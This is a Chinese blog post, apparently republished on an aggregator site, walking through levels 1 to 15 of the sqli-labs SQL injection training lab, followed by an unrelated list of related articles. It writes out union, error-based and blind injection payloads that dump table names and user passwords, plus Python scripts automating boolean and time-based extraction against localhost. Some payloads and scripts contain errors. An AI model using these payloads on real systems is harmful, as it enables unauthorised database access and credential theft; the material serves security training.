sql注入——sqlilabs1-15

news2024/11/16 7:24:34

目录

sql注入靶场练习--sqlilabs

1.less-1​编辑

1.测试发现单引号为逃逸符号

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

2.less-2​编辑

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-3​编辑

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-4​编辑

2.确定查询列数为三列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-5​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-6​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-7​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-8​编辑

3.注入

​编辑

less-9

3.注入

less-10

3.注入

less-11​编辑

2.确定查询列数为二列

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-12​编辑

3.查询到数据库名

4.查询数据库中的表名

5.查询用户表的列名字

6.查询用户信息

less-13​编辑

3.查询到数据库名

4.查询数据库中的表

5.查询用户表的列名字

6.查询用户信息

less-14​编辑

3.查询到数据库名

4.查询数据库中的表

5.查询用户表的列名字

6.查询用户信息

less-15​编辑

3.注入


sql注入靶场练习--sqlilabs

1.less-1

  • 直接注入

1.测试发现单引号为逃逸符号

id=1' --+ //将后面的语句注释

2.确定查询列数为三列

id=1' order by 3 --+

3.查询到数据库名

  • 得保证id的值不存在

id=100' union select 1, user(), database() --+

4.查询数据库中的表名

id=asdfad' union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=asdfaf' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=asdfaf' union select 1,group_concat(username), group_concat(password) from users --+ 

2.less-2

  • 直接注入

  • 就这一关是数字型注入,不需要逃逸其他第一关没有区别

2.确定查询列数为三列

id=1 order by 3 --+

3.查询到数据库名

id=100 union select 1, user(), database() --+

4.查询数据库中的表名

id=1000 union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=100 union select 1,group_concat(username), group_concat(password) from users --+ 

less-3

  • 直接注入

  • 还是一样就逃逸方式不同

2.确定查询列数为三列

id=1') order by 3 --+

3.查询到数据库名

id=100') union select 1, user(), database() --+

4.查询数据库中的表名

id=1000') union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=100') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=100') union select 1,group_concat(username), group_concat(password) from users --+ 

less-4

  • 直接注入

  • 还是一样就逃逸方式不同

2.确定查询列数为三列

id=1") order by 3 --+

3.查询到数据库名

id=100") union select 1, user(), database() --+

4.查询数据库中的表名

id=1000") union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+

5.查询用户表的列名字

id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+

6.查询用户信息

id=100") union select 1,group_concat(username), group_concat(password) from users --+ 

less-5

  • 报错注入

  • 这里首先用到了updatexml(目标xml文档,xml路径,更新的内容)函数

  • 这只是一个普通的函数但是 updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误(~这个符号出现会报错 16进制 0x7e) 然后它就会将他查询的结果已报错的形式显示出来 然后说到concat函数(字符串1,字符串2,字符串。。。。) 在其中放入可执行函数会被执行,ps:需要用()将其包裹如下

3.查询到数据库名

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.查询数据库中的表名

id=1' and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+

5.查询用户表的列名字

id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+

6.查询用户信息

id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+
//由于显示长度有限所以 分段截取

less-6

  • 报错注入

  • 与less5相比只是用双引号闭合了

3.查询到数据库名

id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.查询数据库中的表名

id=1" and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+

5.查询用户表的列名字

id=1" and updatexml(1,concat(0x7e,(select  select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+

6.查询用户信息

id=1" and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+
//由于显示长度有限所以 分段截取

less-7

  • 报错注入

  • 与less5相比只是用 ')) 闭合了

3.查询到数据库名

id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

4.查询数据库中的表名

id=1')) and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+

5.查询用户表的列名字

id=1')) and updatexml(1,concat(0x7e,(select  select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+

6.查询用户信息

id=1')) and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+
//由于显示长度有限所以 分段截取

less-8

  • 这里可以看到它既没有给查询结果返回,也没有给报错处理,只给了对了打印一句话

  • 盲注:bool盲注

id=1' and 1=1 --+
id=1' and 1=0 --+
  • 同理我们是否也可以通过这判断数据库名的对错来注入出想要的结果,由于可见字符皆有可能,我们发现ascii码更加好比对

id=1' and  ascii(substr(database(),1,1))=115 --+
  • 自己一个一个试效率太低了,试试脚本吧

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54",
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
}
url = "http://localhost/sqlilabs/Less-8/index.php"
def get_database(url, yuju, chiShu):        #yuju:查询的sql语句, 次数:查找内容大概有多少字符
    name = ''
    for i in range(1, chiShu):   # 数据字符数量
        maxr = 129          #可见字符ascii范围
        minr = 32
        middle = (minr + maxr) // 2
        while minr < maxr:
            payload = "1' and ascii(substr((%s), %d, 1)) > %d -- " % (yuju, i, middle)
            # print(payload)
            getCS = {"id": payload}
            requestr = requests.get(url, params=getCS, headers=headers)
            if "You are in..........." in requestr.text:
                minr = middle + 1
               # print(True)
            else:
                maxr = middle
               # print(False)
               # print(minr, maxr, middle)
            middle = (minr + maxr) // 2
        name = name + chr(middle)
        print(name)
    print(name)
yuju = input("输入查询语句:")
chishu = int(input('大概查询次数'))
get_database(url, yuju, chishu)

less-9

  • 这里可以看到它既没有给查询结果返回,也没有给报错处理,甚至一句话也没有

  • 盲注:时间盲注

1' and if(ascii(substr(database(), 1, 1)) = 115, sleep(3), 0)--+
// 如果条件正确则停留三秒  这种通过响应时间长短来判断对错的称为时间盲注

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
import time
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54",
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
}
url = "http://localhost/sqlilabs/Less-9/index.php"
def get_database(url, yuju, chiShu):        #yuju:查询的sql语句, 次数:查找内容大概有多少字符
    name = ''
    for i in range(1, chiShu):   # 数据字符数量
        maxr = 129          #可见字符ascii范围
        minr = 32
        middle = (minr + maxr) // 2
        while minr < maxr:
            payload = "id=1' and if(ascii(substr((%S), %d, 1)) > %d, sleep(0), 0) -- " %(yuju, i, middle)
            # print(payload)
            getCS = {"id": payload}
            start_t = time.time()
            requestr = requests.get(url, params=getCS, headers=headers)
            end_t = time.time()
            print(end_t-start_t)
            if end_t - start_t > 1:
                minr = middle + 1
                #print(True)
            else:
                maxr = middle
                #print(False)
            print(minr, maxr, middle)
            middle = (minr + maxr) // 2
            # time.sleep(2)
            if maxr == 32 :
                break
        name = name + chr(middle)
    print(name)
yuju = input("输入查询语句:")
chishu = int(input('大概长度:'))
get_database(url, yuju, chishu)

less-10

  • 这里可以看到它既没有给查询结果返回,也没有给报错处理,甚至一句话也没有

  • 盲注:时间盲注

  • 和less9就逃逸变为了双引号

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
import time
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54",
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
}
url = "http://localhost/sqlilabs/Less-9/index.php"
def get_database(url, yuju, chiShu):        #yuju:查询的sql语句, 次数:查找内容大概有多少字符
    name = ''
    for i in range(1, chiShu):   # 数据字符数量
        maxr = 129          #可见字符ascii范围
        minr = 32
        middle = (minr + maxr) // 2
        while minr < maxr:
            payload = 'id=1" and if(ascii(substr((%S), %d, 1)) > %d, sleep(0), 0) -- ' %(yuju, i, middle)
            # print(payload)
            getCS = {"id": payload}
            start_t = time.time()
            requestr = requests.get(url, params=getCS, headers=headers)
            end_t = time.time()
            print(end_t-start_t)
            if end_t - start_t > 1:
                minr = middle + 1
                #print(True)
            else:
                maxr = middle
                #print(False)
            print(minr, maxr, middle)
            middle = (minr + maxr) // 2
            # time.sleep(2)
            if maxr == 32 :
                break
        name = name + chr(middle)
    print(name)
yuju = input("输入查询语句:")
chishu = int(input('大概长度:'))
get_database(url, yuju, chishu)

less-11

  • 直接注入

2.确定查询列数为二列

admin' order by 2 -- //末尾有空格
admin' order by 3 -- //末尾有空格

3.查询到数据库名

adminn' union select 1,database() --  //末尾有空格

4.查询数据库中的表名

id=asdfad' union select 1, group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--  //末尾有空格

5.查询用户表的列名字

id=asdfaf' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'-- //末尾有空格

6.查询用户信息

asdfaf' union select group_concat(username), group_concat(password) from users --  //末尾有空格

less-12

  • 发现和less-11一样 就逃逸改为了 双引号括号

3.查询到数据库名

adminn") union select 1,database() --  //末尾有空格

4.查询数据库中的表名

id=asdfad") union select 1, group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--  //末尾有空格

5.查询用户表的列名字

id=asdfaf") union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'-- //末尾有空格

6.查询用户信息

asdfaf") union select group_concat(username), group_concat(password) from users --  //末尾有空格

less-13

  • 逃逸改为了 单引号括号

  • 报错注入

3.查询到数据库名

adminn') and updatexml(1,concat(0x7e,(select database()),0x7e), 1) --  //末尾有空格

4.查询数据库中的表

asdfad') and updatexml(1, concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--  //末尾有空格

5.查询用户表的列名字

asdfasdfasf') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--   //末尾有空格

6.查询用户信息

asdfadf') and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)-- 
//由于显示长度有限所以 分段截取  //末尾有空格

less-14

  • 和less-14一样只是 逃逸改为了 双引号

  • 报错注入

3.查询到数据库名

adminn" and updatexml(1,concat(0x7e,(select database()),0x7e), 1) --  //末尾有空格

4.查询数据库中的表

asdfad" and updatexml(1, concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--  //末尾有空格

5.查询用户表的列名字

asdfasdfasf" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--   //末尾有空格

6.查询用户信息

asdfadf" and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)-- 
//由于显示长度有限所以 分段截取  //末尾有空格

less-15

  • 没有回显,没有报错,但是有图片变化,bool盲注

3.注入

  • 查询数据库名:database()

  • 查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'

  • 查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

  • 查用户信息:select group_concat(username,0x3a,password) from users

import requests
​
url  = "http://localhost/sqlilabs/Less-15/"
def get_database(url, yuju, chishu):
    name = ''
    for i in range(1, chishu):
        minr = 32
        maxr = 129
        middle = (minr + maxr) // 2
        while minr < maxr :
            data = {"uname": "admin' and ascii(substr((%s), %d, 1)) > %d -- " % (yuju, i, middle), "passwd": "asdfadff"}
            request = requests.post(url, data=data)
            if "flag.jpg" in request.text:
                minr = middle + 1
                #print(True)
            else:
                #print(False)
                maxr = middle
            middle = (minr + maxr) // 2
​
            if maxr == 32:
                break
            # print(middle)
        name = name + chr(middle)
        print(name)
​
yuju = input("输入查询语句:")
chishu = int(input('大概查询次数:'))
get_database(url, yuju, chishu)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1984203.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

html实现好看的塔罗牌、十二星座运势网站源码

文章目录 1.设计来源1.1 十二星座1.2 所有界面效果图 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/deta…

几种显微镜的作用(光片,多光子)

若进行细胞的成像&#xff0c;我们通常使用宽场或者共聚焦显微镜&#xff1b;若想要对长时间发育的类器官进行快速成像&#xff0c;则活细胞成像仪是首选&#xff1b;若涉及小鼠整个器官的成像&#xff0c;则会选用双光子显微镜。由此可见&#xff0c;针对不同尺度的样品成像需…

<数据集>灭火器识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;3262张 标注数量(xml文件个数)&#xff1a;3262 标注数量(txt文件个数)&#xff1a;3262 标注类别数&#xff1a;1 标注类别名称&#xff1a;[extinguisher] 使用标注工具&#xff1a;labelImg 标注规则&#xf…

材料学子终于迎来了春天,这3本SCI退稿率<20%,2个录用!

导师逼发顶刊&#xff0c;毕不了业&#xff1f;怎么办? 想拿奖学金&#xff0c;还差一篇SCI&#xff1f; 心仪工作对SCI论文有要求&#xff0c;自己没有? 别慌~准确找到一个命中率高&#xff0c;审稿周期短的期刊真的是省心又省力。 今天&#xff0c;老毕给大家分享3本材料科…

表字段显示tip

需求背景&#xff1a; 生成的报表&#xff0c;前端只展示字段名称&#xff0c;计算逻辑没有解释&#xff0c;使用方频繁“骚扰”&#xff0c;实在受不了&#xff0c;增加一个字段tip&#xff0c;实现效果&#xff08;下图&#xff09;&#xff1a; 代码 结合使用el-table-colu…

go语言day21 goland使用gin框架、gorm框架操作mysql数据库redis数据库 使用宝塔创建redis数据库 写一个投票项目

GORM 指南 | GORM - The fantastic ORM library for Golang, aims to be developer friendly. gorm package - github.com/jinzhu/gorm - Go Packages go语言day20实现投票功能项目包-CSDN博客 基于Redis的有序集合Sorted Sets优化排行榜功能_哔哩哔哩_bilibili 安装gorm框架…

快建屋:革新传统的气膜建筑—轻空间

在建筑行业中&#xff0c;传统建筑方式往往受到施工周期长、成本高、环境影响大等问题的困扰。然而&#xff0c;随着科技的发展和人们对灵活、环保建筑需求的增加&#xff0c;一种全新的建筑形式——快建屋&#xff0c;应运而生。快建屋是一种基于气膜技术的建筑&#xff0c;以…

高考杂志高考杂志社高《高考》杂志社2024年第20期目录

高考论坛 以作业设计为驱动&#xff0c;新高考背景下物理高效课堂构建探析 楚向义; 3-5 新高考化学试题情境考查特点及对情境教学的启示 李瑜; 6-8《高考》投稿&#xff1a;cn7kantougao163.com 高考综合改革背景下高中语文单元主题阅读教学研究 刘春红; 9-11 …

扫地机器人MES系统:功能解析与智能化生产解决方案

扫地机器人MES系统&#xff08;Manufacturing Execution System&#xff0c;制造执行系统&#xff09;在扫地机器人制造过程中扮演着重要角色&#xff0c;它主要负责监控、控制和优化整个生产过程。以下是扫地机器人MES系统的功能介绍及解决方案&#xff1a; 一、MES系统功能介…

使用 Toggle 按钮停止循环

1. 问题背景 用户希望使用 wxPython 创建一个带有滑块和按钮的 GUI 界面&#xff0c;当按下按钮时&#xff0c;滑块的值开始增加&#xff0c;当再次按下按钮时&#xff0c;滑块停止增加。但是&#xff0c;用户在循环中使用 time.sleep() 暂停&#xff0c;导致无法在按下按钮后…

第62期|GPTSecurity周报

GPTSecurity是一个涵盖了前沿学术研究和实践经验分享的社区&#xff0c;集成了生成预训练Transformer&#xff08;GPT&#xff09;、人工智能生成内容&#xff08;AIGC&#xff09;以及大语言模型&#xff08;LLM&#xff09;等安全领域应用的知识。在这里&#xff0c;您可以找…

域凭证获取——DCSync

文章目录 一、DCSync简介二、利用DCSync获取域内用户哈希三、DCSync可逆加密利用&#xff08;没搞定&#xff09;四、域外利用DCSync获取域用户哈希&#xff08;待完成&#xff09;五、利用ACL滥用进行DCSync持久化 攻击机kali IP&#xff1a;192.168.111.0 跳板机win7 IP&…

nodeJS的一点个人总结

nodejs 并不是JavaScript应用&#xff0c;也不是编程语言&#xff0c;因为编程语言使用的JavaScript,Nodejs是 JavaScript的运行时。这个**“运行时”**概念很重要&#xff0c;理解了这个&#xff0c;就理解了nodeJS。 • Node.js并不是JavaScript应用&#xff1a;这里的"…

应对AI辅助编程工具的崛起:程序员的变革之道

目录 前言1. AI工具如何改变日常编码实践1.1 自动补全和代码生成1.2 提高工作效率 2. AI工具带来的潜在风险2.1 编程基本功弱化2.2 创新能力下降2.3 数据隐私与安全 3. 在AI时代的核心竞争力3.1 复杂系统设计能力3.2 跨学科知识整合能力3.3 与AI协作的能力 4. 如何培养核心能力…

鲜花销售小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;商家管理&#xff0c;鲜花信息管理&#xff0c;鲜花分类管理&#xff0c;管理员管理&#xff0c;系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;购物车&#xff0…

数据结构 - 并查集路径压缩

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; 文章目录 引言一、并查集…

第37届百花奖采用8K技术直播颁奖典礼

8月2日至4日&#xff0c;由中国文学艺术界联合会、中国电影家协会、中共四川省委宣传部、成都市人民政府共同主办第37届大众电影百花奖在成都隆重举行。作为“中国电影三大奖”之一&#xff0c;百花奖汇聚国内优秀的电影作品与电影人&#xff0c;向全球展示中国电影产业技术蓬勃…

渗透小游戏,各个关卡的渗透实例---步骤简单(含代码)

文章目录 Less-1Less-2Less-5updatexml报错注入&#xff1a; Less-6Less-7Less-8Less-9Less-11Less-13Less-15 Less-1 首先&#xff0c;可以看见该界面&#xff0c;该关卡主要是SQL注入&#xff0c;由于对用户的输入没有做过滤&#xff0c;使查询语句进入到了数据库中&#xff…

苹果照片删除了如何恢复回来?大家都会用的4个方法

随着我们频繁地使用手机拍照&#xff0c;意外删除照片的情况也屡见不鲜。好在&#xff0c;苹果手机提供了一系列实用的功能和工具&#xff0c;可以最大程度上帮助我们解决苹果照片删除了如何恢复回来的问题。接下来&#xff0c;就让我们一起了解一下这4个好用的技巧吧。 方法一…

JavaEE 第5节 死锁产生的原因

目录 一、死锁场景 场景1&#xff1a;1个线程1个锁 场景2&#xff1a;2个线程2个锁 场景3&#xff1a;N个线程M个锁 二、出现死锁的四个必要条件 1&#xff09;锁的互斥性&#xff08;Mutual Exclusion&#xff09; 2&#xff09;锁的不可抢占性&#xff08;Non-preempt…